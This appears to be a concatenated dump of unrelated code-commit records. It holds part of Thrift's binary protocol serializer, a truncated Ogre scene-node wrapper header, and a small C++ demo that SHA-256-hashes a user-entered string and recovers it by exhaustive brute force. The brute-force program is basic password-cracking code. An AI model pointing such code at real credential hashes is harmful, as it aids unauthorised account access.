writeByte((int8_t)T_STOP);\n}\n\nuint32_t TBinaryProtocol::writeMapBegin(const TType keyType,\n                                        const TType valType,\n                                        const uint32_t size) {\n  uint32_t wsize = 0;\n  wsize += writeByte((int8_t)keyType);\n  wsize += writeByte((int8_t)valType);\n  wsize += writeI32((int32_t)size);\n  return wsize;\n}\n\nuint32_t TBinaryProtocol::writeMapEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeListBegin(const TType elemType,\n                                         const uint32_t size) {\n  uint32_t wsize = 0;\n  wsize += writeByte((int8_t) elemType);\n  wsize += writeI32((int32_t)size);\n  return wsize;\n}\n\nuint32_t TBinaryProtocol::writeListEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeSetBegin(const TType elemType,\n                                        const uint32_t size) {\n  uint32_t wsize = 0;\n  wsize += writeByte((int8_t)elemType);\n  wsize += writeI32((int32_t)size);\n  return wsize;\n}\n\nuint32_t TBinaryProtocol::writeSetEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::writeBool(const bool value) {\n  uint8_t tmp =  value ? 1 : 0;\n  trans_->write(&tmp, 1);\n  return 1;\n}\n\nuint32_t TBinaryProtocol::writeByte(const int8_t byte) {\n  trans_->write((uint8_t*)&byte, 1);\n  return 1;\n}\n\nuint32_t TBinaryProtocol::writeI16(const int16_t i16) {\n  int16_t net = (int16_t)htons(i16);\n  trans_->write((uint8_t*)&net, 2);\n  return 2;\n}\n\nuint32_t TBinaryProtocol::writeI32(const int32_t i32) {\n  int32_t net = (int32_t)htonl(i32);\n  trans_->write((uint8_t*)&net, 4);\n  return 4;\n}\n\nuint32_t TBinaryProtocol::writeI64(const int64_t i64) {\n  int64_t net = (int64_t)htonll(i64);\n  trans_->write((uint8_t*)&net, 8);\n  return 8;\n}\n\nuint32_t TBinaryProtocol::writeDouble(const double dub) {\n  BOOST_STATIC_ASSERT(sizeof(double) == sizeof(uint64_t));\n  BOOST_STATIC_ASSERT(std::numeric_limits<double>::is_iec559);\n\n  uint64_t bits = bitwise_cast<uint64_t>(dub);\n  bits = htonll(bits);\n  trans_->write((uint8_t*)&bits, 8);\n  return 8;\n}\n\n\nuint32_t TBinaryProtocol::writeString(const string& str) {\n  uint32_t size = str.size();\n  uint32_t result = writeI32((int32_t)size);\n  if (size > 0) {\n    trans_->write((uint8_t*)str.data(), size);\n  }\n  return result + size;\n}\n\nuint32_t TBinaryProtocol::writeBinary(const string& str) {\n  return TBinaryProtocol::writeString(str);\n}\n\n\/**\n * Reading functions\n *\/\n\nuint32_t TBinaryProtocol::readMessageBegin(std::string& name,\n                                           TMessageType& messageType,\n                                           int32_t& seqid) {\n  uint32_t result = 0;\n  int32_t sz;\n  result += readI32(sz);\n\n  if (sz < 0) {\n    \/\/ Check for correct version number\n    int32_t version = sz & VERSION_MASK;\n    if (version != VERSION_1) {\n      throw TProtocolException(TProtocolException::BAD_VERSION, \"Bad version identifier\");\n    }\n    messageType = (TMessageType)(sz & 0x000000ff);\n    result += readString(name);\n    result += readI32(seqid);\n  } else {\n    if (strict_read_) {\n      throw TProtocolException(TProtocolException::BAD_VERSION, \"No version identifier... old protocol client in strict mode?\");\n    } else {\n      \/\/ Handle pre-versioned input\n      int8_t type;\n      result += readStringBody(name, sz);\n      result += readByte(type);\n      messageType = (TMessageType)type;\n      result += readI32(seqid);\n    }\n  }\n  return result;\n}\n\nuint32_t TBinaryProtocol::readMessageEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readStructBegin(string& name) {\n  name = \"\";\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readStructEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readFieldBegin(string& name,\n                                         TType& fieldType,\n                                         int16_t& fieldId) {\n  uint32_t result = 0;\n  int8_t type;\n  result += readByte(type);\n  fieldType = (TType)type;\n  if (fieldType == T_STOP) {\n    fieldId = 0;\n    return result;\n  }\n  result += readI16(fieldId);\n  return result;\n}\n\nuint32_t TBinaryProtocol::readFieldEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readMapBegin(TType& keyType,\n                                       TType& valType,\n                                       uint32_t& size) {\n  int8_t k, v;\n  uint32_t result = 0;\n  int32_t sizei;\n  result += readByte(k);\n  keyType = (TType)k;\n  result += readByte(v);\n  valType = (TType)v;\n  result += readI32(sizei);\n  if (sizei < 0) {\n    throw TProtocolException(TProtocolException::NEGATIVE_SIZE);\n  } else if (container_limit_ && sizei > container_limit_) {\n    throw TProtocolException(TProtocolException::SIZE_LIMIT);\n  }\n  size = (uint32_t)sizei;\n  return result;\n}\n\nuint32_t TBinaryProtocol::readMapEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readListBegin(TType& elemType,\n                                        uint32_t& size) {\n  int8_t e;\n  uint32_t result = 0;\n  int32_t sizei;\n  result += readByte(e);\n  elemType = (TType)e;\n  result += readI32(sizei);\n  if (sizei < 0) {\n    throw TProtocolException(TProtocolException::NEGATIVE_SIZE);\n  } else if (container_limit_ && sizei > container_limit_) {\n    throw TProtocolException(TProtocolException::SIZE_LIMIT);\n  }\n  size = (uint32_t)sizei;\n  return result;\n}\n\nuint32_t TBinaryProtocol::readListEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readSetBegin(TType& elemType,\n                                       uint32_t& size) {\n  int8_t e;\n  uint32_t result = 0;\n  int32_t sizei;\n  result += readByte(e);\n  elemType = (TType)e;\n  result += readI32(sizei);\n  if (sizei < 0) {\n    throw TProtocolException(TProtocolException::NEGATIVE_SIZE);\n  } else if (container_limit_ && sizei > container_limit_) {\n    throw TProtocolException(TProtocolException::SIZE_LIMIT);\n  }\n  size = (uint32_t)sizei;\n  return result;\n}\n\nuint32_t TBinaryProtocol::readSetEnd() {\n  return 0;\n}\n\nuint32_t TBinaryProtocol::readBool(bool& value) {\n  uint8_t b[1];\n  trans_->readAll(b, 1);\n  value = *(int8_t*)b != 0;\n  return 1;\n}\n\nuint32_t TBinaryProtocol::readByte(int8_t& byte) {\n  uint8_t b[1];\n  trans_->readAll(b, 1);\n  byte = *(int8_t*)b;\n  return 1;\n}\n\nuint32_t TBinaryProtocol::readI16(int16_t& i16) {\n  uint8_t b[2];\n  trans_->readAll(b, 2);\n  i16 = *(int16_t*)b;\n  i16 = (int16_t)ntohs(i16);\n  return 2;\n}\n\nuint32_t TBinaryProtocol::readI32(int32_t& i32) {\n  uint8_t b[4];\n  trans_->readAll(b, 4);\n  i32 = *(int32_t*)b;\n  i32 = (int32_t)ntohl(i32);\n  return 4;\n}\n\nuint32_t TBinaryProtocol::readI64(int64_t& i64) {\n  uint8_t b[8];\n  trans_->readAll(b, 8);\n  i64 = *(int64_t*)b;\n  i64 = (int64_t)ntohll(i64);\n  return 8;\n}\n\nuint32_t TBinaryProtocol::readDouble(double& dub) {\n  BOOST_STATIC_ASSERT(sizeof(double) == sizeof(uint64_t));\n  BOOST_STATIC_ASSERT(std::numeric_limits<double>::is_iec559);\n\n  uint64_t bits;\n  uint8_t b[8];\n  trans_->readAll(b, 8);\n  bits = *(uint64_t*)b;\n  bits = ntohll(bits);\n  dub = bitwise_cast<double>(bits);\n  return 8;\n}\n\nuint32_t TBinaryProtocol::readString(string& str) {\n  uint32_t result;\n  int32_t size;\n  result = readI32(size);\n  return result + readStringBody(str, size);\n}\n\nuint32_t TBinaryProtocol::readBinary(string& str) {\n  return TBinaryProtocol::readString(str);\n}\n\nuint32_t TBinaryProtocol::readStringBody(string& str, int32_t size) {\n  uint32_t result = 0;\n\n  \/\/ Catch error cases\n  if (size < 0) {\n    throw TProtocolException(TProtocolException::NEGATIVE_SIZE);\n  }\n  if (string_limit_ > 0 && size > string_limit_) {\n    throw TProtocolException(TProtocolException::SIZE_LIMIT);\n  }\n\n  \/\/ Catch empty string case\n  if (size == 0) {\n    str = \"\";\n    return result;\n  }\n\n  \/\/ Use the heap here to prevent stack overflow for v. large strings\n  if (size > string_buf_size_ || string_buf_ == NULL) {\n    void* new_string_buf = std::realloc(string_buf_, (uint32_t)size);\n    if (new_string_buf == NULL) {\n      throw TProtocolException(TProtocolException::UNKNOWN, \"Out of memory in TBinaryProtocol::readString\");\n    }\n    string_buf_ = (uint8_t*)new_string_buf;\n    string_buf_size_ = size;\n  }\n  trans_->readAll(string_buf_, size);\n  str = string((char*)string_buf_, size);\n  return (uint32_t)size;\n}\n\n}}} \/\/ facebook::thrift::protocol\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <cstdlib> \/\/ exit()\n#include <cstdio> \/\/ printf()\n#include <cstring> \/\/ memcmp()\n#include <string>\n#include <stack>\n#include <openssl\/sha.h>\n#include <byteswap.h>\n#include \"alphabet.h\"\n\nusing namespace std;\n\n\/\/ clear text password entered by user\nstring pwd;\n\n\/\/ contains the hash of the unknown password\nchar pwdHash[SHA256_DIGEST_LENGTH];\n\n\/\/ contains the hash of a bruteforced string\nchar bruteHash[SHA256_DIGEST_LENGTH];\n\n\/\/ the maximum number of characters bruteforce shall check\nstatic const unsigned char MaxChars = 3;\n\n\/**\n * @brief prints 32 bytes of memory\n *\n * prints a hex dump of 32 bytes of memory pointed to\n *\n * @param[in]   pbuf: pointer to some memory, usually containing an SHA256 hash\n *\/\nvoid printSHAHash(const unsigned int *const pbuf)\n{\n    \/\/ byteswap the integer pointed to, to display hex dump in correct order\n    \/\/ TODO: how to deal with big endian machines\n    printf(\"%X%X%X%X%X%X%X%X\\n\",\n           bswap_32(*(pbuf)),\n           bswap_32(*(pbuf+1)),\n           bswap_32(*(pbuf+2)),\n           bswap_32(*(pbuf+3)),\n           bswap_32(*(pbuf+4)),\n           bswap_32(*(pbuf+5)),\n           bswap_32(*(pbuf+6)),\n           bswap_32(*(pbuf+7))\n          );\n}\n\n\/**\n * @brief generates an SHA256 hash\n *\n * generates an SHA256 hash using openSSL\n *\n * @param[in]      input:   a const pointer to const block of data, usually a char array of which the hash is being generated\n * @param[in]      length:  the number of bytes the that input points to holds\n * @param[in,out]  hashStr: const pointer to an array of SHA256_DIGEST_LENGTH bytes that will receive the hash\n *\n * @return returns true if the hash has been generated successfully; returns false if input or hashStr is NULL or length==0; else: false\n *\/\nbool generateSHA256(const void *const input, const size_t &length, char *const hashStr)\n{\n    if(!hashStr || !input || length==0)\n    {\n        return false;\n    }\n\n    SHA256_CTX hash;\n    if(!SHA256_Init(&hash))\n    {\n        return false;\n    }\n\n    if(!SHA256_Update(&hash, input, length))\n    {\n        return false;\n    }\n\n    if(!SHA256_Final(reinterpret_cast<unsigned char*>(hashStr), &hash))\n    {\n        return false;\n    }\n\n    return true;\n}\n\n\/**\n * @brief checks equality of two hashes\n *\n * calculates the SHA256 hash of 'password' and compares it\n * with the initial password hash\n *\n * @param[in]   password: a const string containing a guessed password\n *\/\nvoid checkPassword(const string &password)\n{\n\/\/#ifdef VERBOSE\n    cout << \"checking \" << password << endl;\n\/\/#endif \/\/ VERBOSE\n\n    \/\/ generate sha hash from entered string and write it to pwdHash\n    if(!generateSHA256(password.c_str(), password.length(), bruteHash))\n    {\n        cerr << \"Error when generating SHA256 from \\\"\" << password << \"\\\"\" << endl;\n        \/\/return;\n    }\n\n    if (!memcmp(bruteHash, pwdHash, SHA256_DIGEST_LENGTH))\n    {\n        cout << \"match [\" << password << \"]\" << endl << \"hash: \" << endl;\n        printSHAHash((unsigned int*)bruteHash);\n        exit(0);\n    }\n}\n\n\/**\n * @brief recursive implementation of bruteforce\n *\n * recursive implementation of bruteforce attack\n * call it as follows: bruteRecursive(string(\"\"), width);\n *\n * @param[in]   baseString: a const string indicates the prefix of a string to be checked\n * @param[in]   width:      the maximum number of characters you wish to be checked\n *\/\nvoid bruteRecursive(const string baseString, const unsigned int width)\n{\n    for(int i=0; i<SizeAlphabet; i++)\n    {\n        if (baseString.length()+1 < width)\n        {\n            bruteRecursive(baseString+alphabet[i], width);\n        }\n\n        checkPassword(baseString+alphabet[i]);\n    }\n}\n\n\/**\n * @brief iterative implementation of bruteforce\n *\n * iterative implementation of bruteforce attack\n * call it as follows: bruteIterative(width);\n *\n * @param[in]   width:      the maximum number of characters you wish to be checked\n *\/\nvoid bruteIterative(const unsigned int width)\n{\n    stack<string> myStack;\n\n    \/\/ myStack must contain at least one element when entering loop\n    \/\/ else: SIGSEGV\n    \/\/ hence, start checking with an empty string\n    myStack.push(\"\");\n\n    do\n    {\n        string baseString = myStack.top();\n        myStack.pop();\n        cout << \"checking passwords with \" << baseString.length()+1 << \" characters...\" << endl;\n        for(int i=0; i<SizeAlphabet; i++)\n        {\n            if (baseString.length()+1 < width)\n            {\n                myStack.push(baseString+alphabet[i]);\n            }\n\n            checkPassword(baseString+alphabet[i]);\n        }\n    }\n    while(!myStack.empty());\n}\n\nint main()\n{\n    cout << \"Enter a string: \" << endl;\n    cin >> pwd;\n\n    \/\/ generate sha hash from entered string and write it to pwdHash\n    if(!generateSHA256(pwd.c_str(), pwd.length(), pwdHash))\n    {\n        cerr << \"Error when generating SHA256 from \\\"\" << pwd << \"\\\"\" << endl;\n        return -2;\n    }\n    else\n    {\n        printf(\"SHA256 Hash for your string is:\\n\");\n        printSHAHash((unsigned int*)pwdHash);\n\n    }\n\n    cout << \"checking using Recusive Method\" << endl;\n    for(int i=1; i<=MaxChars; i++)\n    {\n        cout << \"checking passwords with \" << i << \" characters...\" << endl;\n        bruteRecursive(string(\"\"),i);\n    }\n\n    cout << \"checking using Iterative Method\" << endl;\n    bruteIterative(MaxChars);\n\n    return -1;\n}\n<commit_msg>do not hard exit() the prog; minor improvements<commit_after>#include <iostream>\n#include <cstdio> \/\/ printf()\n#include <cstring> \/\/ memcmp()\n#include <string>\n#include <queue>\n#include <openssl\/sha.h>\n#include <byteswap.h>\n#include \"alphabet.h\"\n\nusing namespace std;\n\n\/\/ clear text password entered by user\nstring pwd;\n\n\/\/ contains the hash of the unknown password\nchar pwdHash[SHA256_DIGEST_LENGTH];\n\n\/\/ contains the hash of a bruteforced string\nchar bruteHash[SHA256_DIGEST_LENGTH];\n\n\/\/ the maximum number of characters bruteforce shall check\nstatic const unsigned char MaxChars = 8;\n\n\/**\n * @brief prints 32 bytes of memory\n *\n * prints a hex dump of 32 bytes of memory pointed to\n *\n * @param[in]   pbuf: pointer to some memory, usually containing an SHA256 hash\n *\/\nvoid printSHAHash(const unsigned int *const pbuf)\n{\n    \/\/ byteswap the integer pointed to, to display hex dump in correct order\n    \/\/ TODO: how to deal with big endian machines\n    printf(\"%X%X%X%X%X%X%X%X\\n\",\n           bswap_32(*(pbuf)),\n           bswap_32(*(pbuf+1)),\n           bswap_32(*(pbuf+2)),\n           bswap_32(*(pbuf+3)),\n           bswap_32(*(pbuf+4)),\n           bswap_32(*(pbuf+5)),\n           bswap_32(*(pbuf+6)),\n           bswap_32(*(pbuf+7))\n          );\n}\n\n\/**\n * @brief generates an SHA256 hash\n *\n * generates an SHA256 hash using openSSL\n *\n * @param[in]      input:   a const pointer to const block of data, usually a char array of which the hash is being generated\n * @param[in]      length:  the number of bytes the that input points to holds\n * @param[in,out]  hashStr: const pointer to an array of SHA256_DIGEST_LENGTH bytes that will receive the hash\n *\n * @return returns true if the hash has been generated successfully; returns false if input or hashStr is NULL or length==0; else: false\n *\/\nbool generateSHA256(const void *const input, const size_t &length, char *const hashStr)\n{\n    if(!hashStr || !input || length==0)\n    {\n        return false;\n    }\n\n    SHA256_CTX hash;\n    if(!SHA256_Init(&hash))\n    {\n        return false;\n    }\n\n    if(!SHA256_Update(&hash, input, length))\n    {\n        return false;\n    }\n\n    if(!SHA256_Final(reinterpret_cast<unsigned char*>(hashStr), &hash))\n    {\n        return false;\n    }\n\n    return true;\n}\n\n\/**\n * @brief checks equality of two hashes\n *\n * calculates the SHA256 hash of 'password' and compares it\n * with the initial password hash\n *\n * @param[in]   password: a const string containing a guessed password\n *\n * @return returns true if hashes match; false if generation of hash failed or hashes not match\n *\/\nbool checkPassword(const string &password)\n{\n#ifdef VERBOSE\n    cout << \"checking \" << password << endl;\n#endif \/\/ VERBOSE\n\n    \/\/ generate sha hash from entered string and write it to pwdHash\n    if(!generateSHA256(password.c_str(), password.length(), bruteHash))\n    {\n        cerr << \"Error when generating SHA256 from \\\"\" << password << \"\\\"\" << endl;\n        return false;\n    }\n\n    if (!memcmp(bruteHash, pwdHash, SHA256_DIGEST_LENGTH))\n    {\n        cout << \"match [\" << password << \"]\" << endl << \"hash: \" << endl;\n        printSHAHash((unsigned int*)bruteHash);\n        return true;\n    }\n\n    return false;\n}\n\n\/**\n * @brief recursive implementation of bruteforce\n *\n * recursive implementation of bruteforce attack\n * call it as follows: bruteRecursive(string(\"\"), width);\n *\n * @param[in]   baseString: a const string indicates the prefix of a string to be checked\n * @param[in]   width:      the maximum number of characters you wish to be checked\n *\/\nvolatile bool strFound = false;\nvoid bruteRecursive(const string baseString, const unsigned int width)\n{\n    for(int i=0; (i<SizeAlphabet) && (!strFound); i++)\n    {\n        if (baseString.length()+1 < width)\n        {\n            bruteRecursive(baseString+alphabet[i], width);\n        }\n\n        if(checkPassword(baseString+alphabet[i]))\n        {\n            strFound = true;\n        }\n    }\n}\n\n\/**\n * @brief iterative implementation of bruteforce\n *\n * iterative implementation of bruteforce attack\n * call it as follows: bruteIterative(width);\n *\n * @param[in]   width:      the maximum number of characters you wish to be checked\n *\n * @return return true if the password was found\n *\/\nbool bruteIterative(const unsigned int width)\n{\n    queue<string> myQueue;\n\n    \/\/ myQueue must contain at least one element when entering loop\n    \/\/ else: SIGSEGV\n    \/\/ hence, start checking with an empty string\n    myQueue.push(\"\");\n\n    do\n    {\n        string baseString = myQueue.front();\n        myQueue.pop();\n\n        for(int i=0; i<SizeAlphabet; i++)\n        {\n            if (baseString.length()+1 < width)\n            {\n                myQueue.push(baseString+alphabet[i]);\n            }\n\n            if(checkPassword(baseString+alphabet[i]))\n            {\n                return true;\n            }\n        }\n    }\n    while(!myQueue.empty());\n    return false;\n\/\/\n\/\/    queue<string> myQueue;\n\/\/    string baseString = \"\";\n\/\/    while(baseString.length() < width)\n\/\/    {\n\/\/        for(int i=0; i<SizeAlphabet; i++)\n\/\/        {\n\/\/            if (baseString.length()+1 < width)\n\/\/            {\n\/\/                myQueue.push(baseString+alphabet[i]);\n\/\/            }\n\/\/\n\/\/            if(checkPassword(baseString+alphabet[i]))\n\/\/            {\n\/\/                return true;\n\/\/            }\n\/\/        }\n\/\/\n\/\/        if(!myQueue.empty())\n\/\/        {\n\/\/            baseString = myQueue.front();\n\/\/            myQueue.pop();\n\/\/        }\n\/\/        else\n\/\/        {\n\/\/            return false;\n\/\/        }\n\/\/    }\n\/\/\n\/\/    return false;\n}\n\nint main()\n{\n    cout << \"Enter a string: \" << endl;\n    cin >> pwd;\n\n    \/\/ generate sha hash from entered string and write it to pwdHash\n    if(!generateSHA256(pwd.c_str(), pwd.length(), pwdHash))\n    {\n        cerr << \"Error when generating SHA256 from \\\"\" << pwd << \"\\\"\" << endl;\n        return -2;\n    }\n    else\n    {\n        printf(\"SHA256 Hash for your string is:\\n\");\n        printSHAHash((unsigned int*)pwdHash);\n\n    }\n\n    cout << \"checking using Recusive Method\" << endl;\n    for(int i=1; (i<=MaxChars) && (!strFound); i++)\n    {\n        cout << \"checking passwords with \" << i << \" characters...\" << endl;\n        bruteRecursive(string(\"\"),i);\n    }\n\n    cout << \"checking using Iterative Method\" << endl;\n    bruteIterative(MaxChars);\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is part of the Yildiz-Engine project, licenced under the MIT License  (MIT)\n *\n * Copyright (c) 2019 Grégory Van den Borre\n *\n * More infos available: https:\/\/engine.yildiz-games.be\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n * documentation files (the \"Software\"), to deal in the Software without restriction, including without\n * limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies\n * of the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or substantial\n * portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS\n * OR COPYRIGHT  HOLDERS BE LIABLE FOR ANY CLAIM,\n * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE  SOFTWARE.\n *\/\n\n#ifndef YZ_NODE_H\n#define YZ_NODE_H\n\n#include \"stdafx.h\"\n#include <Ogre.h>\n#include <OgreSceneNode.h>\n#include <OgreMovableObject.h>\n#include \"AbstractNodeListener.hpp\"\n#include \"NodeListeners.hpp\"\n#include \"AbstractMovable.hpp\"\n#include \"NativeMovable.hpp\"\n#include <OgreSceneManager.h>\n\nnamespace yz {\n\n\/**\n * Simple wrapper for an Ogre::Scenenode, this class provide uniform use for setting direction, yaw,...\n * @author Grégory Van den Borre\n *\/\nclass Node : public NativeMovableComponent {\n\npublic:\n\n\t\/**\n\t * Full constructor.\n\t * @param wrappedNode\n\t *           Node used as wrapped object.\n\t *\/\n\tNode(Ogre::SceneNode* wrappedNode) {\n\t    LOG_FUNCTION\n\t\tthis->node = wrappedNode;\n\t\tthis->listenerList = new yz::NodeListeners();\n\t\tthis->node->setListener(this->listenerList);\n\t\tthis->movable = new yz::NativeMovable();\n\t}\n\n\tNode(Ogre::SceneNode* wrappedNode, yz::Id* id) {\n\t    LOG_FUNCTION\n\t\tthis->node = wrappedNode;\n\t\tthis->listenerList = new yz::NodeListeners();\n\t\tthis->node->setListener(this->listenerList);\n\t\tthis->node->getUserObjectBindings().setUserAny(Ogre::Any(id));\n\t\tthis->movable = new yz::NativeMovable();\n\t}\n\n\t~Node(void) {\n\t    LOG_FUNCTION\n\t\tthis->destroy();\n        this->node = NULL;\n\t}\n\n\tinline void attachToNode(yz::Node* other) {\n\t    LOG_FUNCTION\n\t\tOgre::SceneNode* parent = this->node->getParentSceneNode();\n\t\tparent->removeChild(this->node);\n\t\tother->addChild(this);\n\t}\n\n\tinline void addChild(yz::Node* child) {\n\t    LOG_FUNCTION\n\t\tthis->node->addChild(child->getWrappedNode());\n\t}\n\n\t\/**\n\t * @return The wrapped Ogre::SceneNode\n\t *\/\n\tinline Ogre::SceneNode* getWrappedNode() {\n\t    LOG_FUNCTION\n\t\treturn this->node;\n\t}\n\n\tinline void needUpdate() {\n\t    LOG_FUNCTION\n\t\tthis->node->needUpdate();\n\t}\n\n\t\/**\n\t * Display every objects attached on this node.\n\t *\/\n\tinline void show() {\n\t    LOG_FUNCTION\n\t\tthis->node->setVisible(true);\n\t}\n\n\t\/**\n\t * Hide every objects attached on this node.\n\t *\/\n\tinline void hide(void) {\n\t    LOG_FUNCTION\n\t\tthis->node->setVisible(false);\n\t}\n\n\tvoid attachObject(yz::AbstractMovable* movable) {\n\t    LOG_FUNCTION\n\t\tthis->node->attachObject(movable->getMovableObject());\n\t}\n\n\tinline void addListener(yz::AbstractNodeListener* l) {\n\t    LOG_FUNCTION\n\t\tthis->listenerList->addListener(l);\n\t}\n\n\t\/**\n\t * Rotate only on Y axis to face a point.\n\t *\/\n\tinline void rotateTo(const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n\t    LOG_FUNCTION\n\t\tOgre::Vector3 yAxis = this->node->getOrientation().yAxis();\n\t\tOgre::Quaternion rotation = yAxis.getRotationTo(yAxis, Ogre::Vector3::UNIT_Y);\n\t\tthis->node->pitch(rotation.getPitch());\n\t\tthis->node->roll(rotation.getRoll());\n\t}\n\n\t\/**\n\t * Create a child for this node.\n\t * @return A new yz::Node child of this one.\n\t *\/\n\tinline yz::Node* createChildNode() {\n\t    LOG_FUNCTION\n\t\tyz::Node* child = new yz::Node(this->node->createChildSceneNode());\n        \/\/this->childrenList.push_back(child);\n\t\treturn child;\n\t}\n\n\t\/**\n\t * Get the wrapped node name.\n\t * @return The name.\n\t *\/\n\tinline std::string getName() const{\n\t    LOG_FUNCTION\n\t\treturn this->node->getName();\n\t}\n\n\tinline void destroy() {\n\t    LOG_FUNCTION\n\t\tfor (unsigned int i = 0; i < this->manualList.size(); ++i) {\n\t\t\tOgre::MovableObject* o = this->manualList.at(i);\n\t\t\tthis->node->detachObject(o);\n\t\t\tdelete o;\n\t\t}\n\t\tthis->destroyAllAttachedMovableObjects(this->node);\n\t\tthis->node->removeAndDestroyAllChildren();\n\t\tthis->node->getCreator()->destroySceneNode(this->node);\n\t}\n\n\t\/**\n\t * Scale all objects attached to the node.\n\t * @param value\n\t *           Scale value.\n\t *\/\n\tinline void scale(const Ogre::Real value) {\n\t    LOG_FUNCTION\n\t\tthis->scale(value, value, value);\n\t}\n\n\t\/**\n\t * Scale all objects attached to the node.\n\t * @param scaleX\n\t *           X scale value.\n\t * @param scaleY\n\t *           y scale value.\n\t * @param scaleZ\n\t *           Z scale value.\n\t *\/\n\tinline void scale(const Ogre::Real scaleX, const Ogre::Real scaleY,\n\t\t\tconst Ogre::Real scaleZ) {\n\t    LOG_FUNCTION\n\t\tthis->node->scale(scaleX, scaleY, scaleZ);\n\t}\n\n\tinline void rotate(const Ogre::Real w, const Ogre::Real x, const Ogre::Real y,\n\t\t\tconst Ogre::Real z) {\n\t    LOG_FUNCTION\n\t\tthis->node->rotate(Ogre::Quaternion(w, x, y, z));\n\t}\n\n\t\/**\n\t * Rotate the node.\n\t * @param x\n\t *           X axis rotation angle, in radians.\n\t * @param y\n\t *           Y axis rotation angle, in radians.\n\t *\/\n\tinline Ogre::Vector3 rotate(const Ogre::Real x, const Ogre::Real y) {\n\t    LOG_FUNCTION\n\t\tthis->node->yaw(Ogre::Radian(x), Ogre::Node::TS_WORLD);\n\t\tthis->node->pitch(Ogre::Radian(y), Ogre::Node::TS_WORLD);\n\t\tOgre::Quaternion rotation = node->getOrientation();\n\t\treturn rotation.zAxis();\n\t}\n\n\tinline Ogre::Quaternion getOrientation() {\n\t    LOG_FUNCTION\n\t\treturn this->node->getOrientation();\n\t}\n\n\t\/**\n\t * Set the node position.\n\t * @param x\n\t *           New X position.\n\t * @param y\n\t *           New y position.\n\t * @param z\n\t *           New Z position.\n\t *\/\n\t\/*virtual*\/ inline void setPosition(const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n\t    LOG_FUNCTION\n\t\tthis->node->setPosition(x, y, z);\n\t\tthis->movable->setPosition(x, y, z);\n    }\n\n\t\/**\n\t * Set the direction using Ogre::Node::TS_WORLD and Ogre::Vector3::NEGATIVE_UNIT_Z.\n\t * @param x\n\t *           New X direction.\n\t * @param y\n\t *           New y direction.\n\t * @param z\n\t *           New Z direction.\n\t *\/\n    \/*virtual*\/ inline void setDirection(const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n        LOG_FUNCTION\n        this->node->setDirection(x, y, z, Ogre::Node::TS_WORLD, Ogre::Vector3::NEGATIVE_UNIT_Z);\n    }\n\n\t\/*virtual*\/ inline void setOrientation(const Ogre::Real w, const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n        LOG_FUNCTION\n        this->node->setOrientation(w, x, y, z);\n    }\n\n    inline void translate(const Ogre::Real x, const Ogre::Real y, const Ogre::Real z) {\n        LOG_FUNCTION\n        node->translate(x, y, z, Ogre::Node::TS_WORLD);\n    }\n\n\tinline Ogre::Vector3 getPosition() const {\n\t    LOG_FUNCTION\n\t\treturn this->node->getPosition();\n\t}\n\n\tinline Ogre::Vector3 getDirection() const {\n\t    LOG_FUNCTION\n\t\treturn this->node->getOrientation() * Ogre::Vector3::NEGATIVE_UNIT_Z;\n\t}\n\n    inline Ogre::Vector3 getWorldDirection() const {\n        LOG_FUNCTION\n        return this->node->_getDerivedOrientation() * Ogre::Vector3::NEGATIVE_UNIT_Z;\n    }\n\n    inline void showBoundingBox(const bool visible) {\n        LOG_FUNCTION\n        this->node->showBoundingBox(visible);\n    }\n    \n    inline void detachFromParentNode() {\n        LOG_FUNCTION\n        Ogre::SceneNode* parent = this->node->getParentSceneNode();\n        parent->removeChild(this->node);\n        this->node->getCreator()->getRootSceneNode()->addChild(this->node);\n    }\n\n    inline void detachFromParent() {\n        LOG_FUNCTION\n        Ogre::SceneNode* parent = this->node->getParentSceneNode();\n        parent->removeChild(this->node);\n        this->node->getCreator()->getRootSceneNode()->addChild(this->node);\n    }\n\n    inline void addManualMovable(Ogre::MovableObject* manual) {\n\t    LOG_FUNCTION\n\t\tthis->manualList.push_back(manual);\n\t}\n\n\tinline virtual void addMovableComponent(NativeMovableComponent* c) {\n\t    this->movable->addComponent(c);\n\t}\n\n    inline virtual void removeMovableComponent(NativeMovableComponent* c) {\n        this->movable->removeComponent(c);\n    }\n\nprivate:\n\n    \/**\n    * Wrapped Ogre::Node.\n    *\/\n\tOgre::SceneNode* node;\n\n\tyz::NodeListeners* listenerList;\n\n\tyz::NativeMovable* movable;\n\n\t\/**\n\t * List containing object manually created(not using scene manager), they must be detached and manually deleted.\n\t *\/\n\tstd::vector<Ogre::MovableObject*> manualList;\n\n\tvoid destroyAllAttachedMovableObjects(Ogre::SceneNode* i_pSceneNode) {\n\n\t\t\/\/ Destroy all the attached objects\n\t\tOgre::SceneNode::ObjectIterator itObject =\n\t\t\t\ti_pSceneNode->getAttachedObjectIterator();\n\t\twhile (itObject.hasMoreElements()) {\n\t\t\tOgre::MovableObject* pObject 